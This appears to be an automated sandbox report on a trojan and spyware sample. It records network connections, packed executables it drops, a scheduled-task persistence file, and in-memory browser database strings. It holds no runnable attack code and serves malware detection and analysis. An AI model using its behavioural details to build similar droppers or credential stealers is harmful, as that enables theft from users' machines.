Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52118
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52113
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52111
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52116
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52114
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52120
Source: unknown	Network traffic detected: HTTP traffic on port 52123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52129
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52123
Source: unknown	Network traffic detected: HTTP traffic on port 52192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52121
Source: unknown	Network traffic detected: HTTP traffic on port 52157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52122
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52125
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52126
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52131
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52138
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52140
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52149
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52147
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52148
Source: unknown	Network traffic detected: HTTP traffic on port 52124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52152
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52150
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52151
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52206
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52207
Source: unknown	Network traffic detected: HTTP traffic on port 52136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52202
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52203
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030

Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.10:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.10:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.10:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.75:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:52195 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: DocumentsCFIECBFIDG.exe.1.dr	Static PE information: section name:
Source: DocumentsCFIECBFIDG.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsCFIECBFIDG.exe.1.dr	Static PE information: section name:
Source: skotes.exe.29.dr	Static PE information: section name:
Source: skotes.exe.29.dr	Static PE information: section name: .idata
Source: skotes.exe.29.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: .rsrc
Source: random[1].exe.32.dr	Static PE information: section name: .idata
Source: random[1].exe.32.dr	Static PE information: section name:
Source: 26a643af99.exe.32.dr	Static PE information: section name:
Source: 26a643af99.exe.32.dr	Static PE information: section name: .rsrc
Source: 26a643af99.exe.32.dr	Static PE information: section name: .idata
Source: 26a643af99.exe.32.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C9BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9BB8C0 rand_s,NtQueryVirtualMemory,	1_2_6C9BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6C9BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C95F280

Source: C:\Users\user\DocumentsCFIECBFIDG.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9535A0	1_2_6C9535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C966C80	1_2_6C966C80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9B34A0	1_2_6C9B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9BC4A0	1_2_6C9BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C97D4D0	1_2_6C97D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9664C0	1_2_6C9664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C996CF0	1_2_6C996CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95D4E0	1_2_6C95D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C995C10	1_2_6C995C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9A2C10	1_2_6C9A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9CAC00	1_2_6C9CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C542B	1_2_6C9C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C545C	1_2_6C9C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C965440	1_2_6C965440
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C990DD0	1_2_6C990DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9B85F0	1_2_6C9B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C97ED10	1_2_6C97ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C980512	1_2_6C980512
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C96FD00	1_2_6C96FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C975E90	1_2_6C975E90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9BE680	1_2_6C9BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9B4EA0	1_2_6C9B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95BEF0	1_2_6C95BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C96FEF0	1_2_6C96FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C76E3	1_2_6C9C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C997E10	1_2_6C997E10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9A5600	1_2_6C9A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9B9E30	1_2_6C9B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C979E50	1_2_6C979E50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C993E50	1_2_6C993E50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9A2E4E	1_2_6C9A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C974640	1_2_6C974640
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95C670	1_2_6C95C670
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C6E63	1_2_6C9C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9A77A0	1_2_6C9A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C986FF0	1_2_6C986FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95DFE0	1_2_6C95DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C997710	1_2_6C997710
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C969F00	1_2_6C969F00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9860A0	1_2_6C9860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C50C7	1_2_6C9C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C97C0E0	1_2_6C97C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9958E0	1_2_6C9958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C967810	1_2_6C967810
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C99B820	1_2_6C99B820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9A4820	1_2_6C9A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C978850	1_2_6C978850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C97D850	1_2_6C97D850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C99F070	1_2_6C99F070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C995190	1_2_6C995190
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9B2990	1_2_6C9B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C98D9B0	1_2_6C98D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95C9A0	1_2_6C95C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C97A940	1_2_6C97A940
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9AB970	1_2_6C9AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9CB170	1_2_6C9CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C96D960	1_2_6C96D960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9CBA90	1_2_6C9CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C96CAB0	1_2_6C96CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C2AB0	1_2_6C9C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9522A0	1_2_6C9522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C984AA0	1_2_6C984AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C998AC0	1_2_6C998AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C971AF0	1_2_6C971AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C99E2F0	1_2_6C99E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C999A60	1_2_6C999A60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95F380	1_2_6C95F380
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C53C8	1_2_6C9C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C99D320	1_2_6C99D320
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C955340	1_2_6C955340
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C96C370	1_2_6C96C370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00FFE530	32_2_00FFE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_01032D10	32_2_01032D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_010331A8	32_2_010331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00FF4DE0	32_2_00FF4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_01037049	32_2_01037049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_01038860	32_2_01038860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_010378BB	32_2_010378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_01027F36	32_2_01027F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0103779B	32_2_0103779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00FF4B30	32_2_00FF4B30

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C98CBE8 appears 134 times

Source: file.exe, 00000001.00000002.2764674058.000000006CBD5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000001.00000002.2759176656.0000000023503000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000001.00000002.2759176656.0000000023503000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: xsqfukre ZLIB complexity 0.9943626632531909
Source: random[1].exe.1.dr	Static PE information: Section: ZLIB complexity 0.998020265667575
Source: random[1].exe.1.dr	Static PE information: Section: jexkdxjd ZLIB complexity 0.9943676005955839
Source: DocumentsCFIECBFIDG.exe.1.dr	Static PE information: Section: ZLIB complexity 0.998020265667575
Source: DocumentsCFIECBFIDG.exe.1.dr	Static PE information: Section: jexkdxjd ZLIB complexity 0.9943676005955839
Source: skotes.exe.29.dr	Static PE information: Section: ZLIB complexity 0.998020265667575
Source: skotes.exe.29.dr	Static PE information: Section: jexkdxjd ZLIB complexity 0.9943676005955839
Source: random[1].exe.32.dr	Static PE information: Section: rmijescy ZLIB complexity 0.994363461063259
Source: 26a643af99.exe.32.dr	Static PE information: Section: rmijescy ZLIB complexity 0.994363461063259

Source: 26a643af99.exe.32.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.32.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@78/295@30/28

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C9B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6C9B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\F1WKEBFH.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8508:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\57ca85da-e750-48ab-b167-9a1bc567110e.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000001.00000002.2763499157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2755801391.000000001D38C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2764437765.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000001.00000002.2763499157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2755801391.000000001D38C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2764437765.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.2763499157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2755801391.000000001D38C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2764437765.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.2763499157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2755801391.000000001D38C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2764437765.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, 00000001.00000002.2763499157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2755801391.000000001D38C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2764437765.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.2763499157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2755801391.000000001D38C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
